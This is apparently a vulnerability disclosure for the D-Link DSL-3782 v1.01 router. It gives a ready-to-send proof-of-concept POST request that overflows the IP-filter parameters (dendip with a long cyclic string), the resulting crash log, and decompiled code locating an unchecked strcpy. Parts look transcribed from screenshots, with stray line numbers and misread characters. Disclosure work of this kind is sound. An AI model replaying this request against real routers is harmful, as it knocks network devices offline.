Vendor of the products: D-Link

Affected products: DSL-3782 v1.01

Vulnerability Description

A buffer overflow vulnerability was discovered in D-Link DSL-3782 v1.01, triggered by the sstartip, sendip, dstartip, and dendip parameters. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

The interface that triggers the vulnerability



POC

send

```
Cancel
                       < | v | ( > | v
 Request
Pretty Raw Hex □ \n □
 1 POST /cgi-bin/New_GUI/IpFilter.asp HTTP/1.1
 2 Host: 192.168.1.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 4 Accept: */*
5 Accept - Language: en-US, en; q=0.5
6 Accept-Encoding: gzip, deflate
 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 326
10 Origin: http://192.168.1.1
11 Connection: close
12 Referer: http://192.168.1.1/cgi-bin/New_GUI/IpFilter.asp
13 Cookie: Language=en
15 sessionKey=1804289383&conn_type=ATM&editRow=0&ipfilter_num=1&d_interface=PVC0&buttontype=
   apply&siptype=RANGE&diptype=RANGE&dporttype=ANY&filter_enables=black&scheduleValue=-&
   filter_enable=black&name=123&protocol=ANY&sstartip=192.168.1.7&sendip=192.168.1.9&inter=PVCO&
   dstartip=192.168.1.10&dendip=
   aaaabaaacaaadaaaeaaaf<del>aaagaaah</del>aaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaax
   aaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva
   abwaabxaabyaab&pf_Schedule=Always
```

You can see that the router has crashed.

```
92.924000] Modules linked in:
92.924000] Process cfg_manager (pid: 108, threadinfo=8f022000, task=8f021a88, tls=00000000)
7fee8938 00000000 00000000 00000000 2b748510 00000008 004aa2f5 ffffffff
92.944000
92.948000]
                    00000000 00000073 00000000 00000020 00000000 00000001 00000013 00000100
92.948000]
92.952000] Call Trace:
92.952000
92.956000]
92.956000] Code: 00801821 24c6ffff 24a50001 <a0620000> 24630001 54c0fffb 90a20000 03e00008 00801021
92.964000] cfg_manager/108: potentially unexpected fatal signal 11.
92.964000]
92.964000] Cpu 0
                 : 00000000 00000001 00000045 6161626a
: 6161626a 004a8525 00000004 7fee89d8
92.972000] $ 0
92.972000] $ 4
92.976000] $ 8
                  : fffffff8 00000007 00000002 00000024
           $12
$16
92.980000]
                  : 00000025 00000807 00000800 00000400
92.984000]
                  : 00000005 7fee89d8 00000005 004a8524
92.984000] $20
                  : 004a8524 00000000 00000020 00000005
92.988000] $24
92.992000] $28
92.996000] Hi
                  : 00000008 2b7044d0
: 2b748510 7fee87f0 7fee89d8 2b6fbf50
                  : 00000000
92.996000] Lo
93.000000] epc
                    00000007
                  : 2b7044e0 0×2b7044e0
93.000000]
                  : 2b6fbf50 0×2b6fbf50
93.004000] ra
93.004000] Status: 0000a413
                                 USER EXL IE
93.008000] Cause : 1080000c
93.008000] BadVA : 6161626a
93.012000] PrId
                 : 00019300 (MIPS 24Kc)
```

Actually, sstartip, sendip, dstartip, and dendip can all trigger the buffer overflow vulnerability.

Code in cfg_manager

By using IDA to analyze cfg_manager, It can be seen that the getAttrValue function is called in IpFilter to retrieve the parameter.

```
16
17
     if ( a1 )
 18
19
       if ( a2 )
 20
21
         strcpy(v7, "IpFilter");
         strcpy(v9, "Common");
22
23
         v7[8] = aIpfilter[8];
24
         v8 = 0;
25
         v10 = 0;
         v11 = 0;
26
27 v12 = 0;
28
         v13 = 0;
29
         v14 = 0;
30
         v15 = 0;
         memset(v16, 0, 0x81u);
31
32
         if ( !getAttrValue(a1, v7, (int)"Mode", v16) )
 33
34
           if ( strcmp(v16, dword_49A528) )
 35
36
             if ( strcmp(v16, "white") && strcmp(v16, "black") )
37
               return 0;
38
             memset(v16, 0, 0x81u);
39
             if ( getAttrValue(a1, v7, (int)&dword_49D8F8, v16) )
40
              return 0;
41
            v5 = atoi(v16);
42
             if ( v5 < 0 )
43
              return 0;
44
             v6 = v5 == 0;
             result = 1;
45
             if (!v6)
46
 47
             {
```

Then it can be seen that the use of strcpy to receive parameters without proper security checks caused the overflow.

```
1 int __fastcall getAttrValue(int a1, char *a2, int a3, char *a4)
  2 {
  3
     int v8; // $s1
     int v9; // $v0
  4
     char *v10; // $a2
  5
  6 int v11; // $a3
  7 int result; // $v0
  8 const char *v13; // $a1
10 v8 = 0;
  11 do
 12 {
      v9 = *a2;
13
14
     v10 = a2;
15
      v11 = 0;
16
      ++v8;
17
       a2 += 16;
      if (!v9)
18
        break;
19
20
      a1 = mxmlFindElement(a1, a1, v10, 0, 0, -1);
 21 }
22
     while ( v8 != 3 );
23
     result = -1;
0 24 if ( a1 )
 25
26
       v13 = (const char *)mxmlElementGetAttr(a1, a3, v10, v11);
27
       result = -2;
28
       if ( v13 )
 29
9 30
       strcpy(a4, v13);
31
         result = 0;
 32
 33 }
34 return result;
35 }
```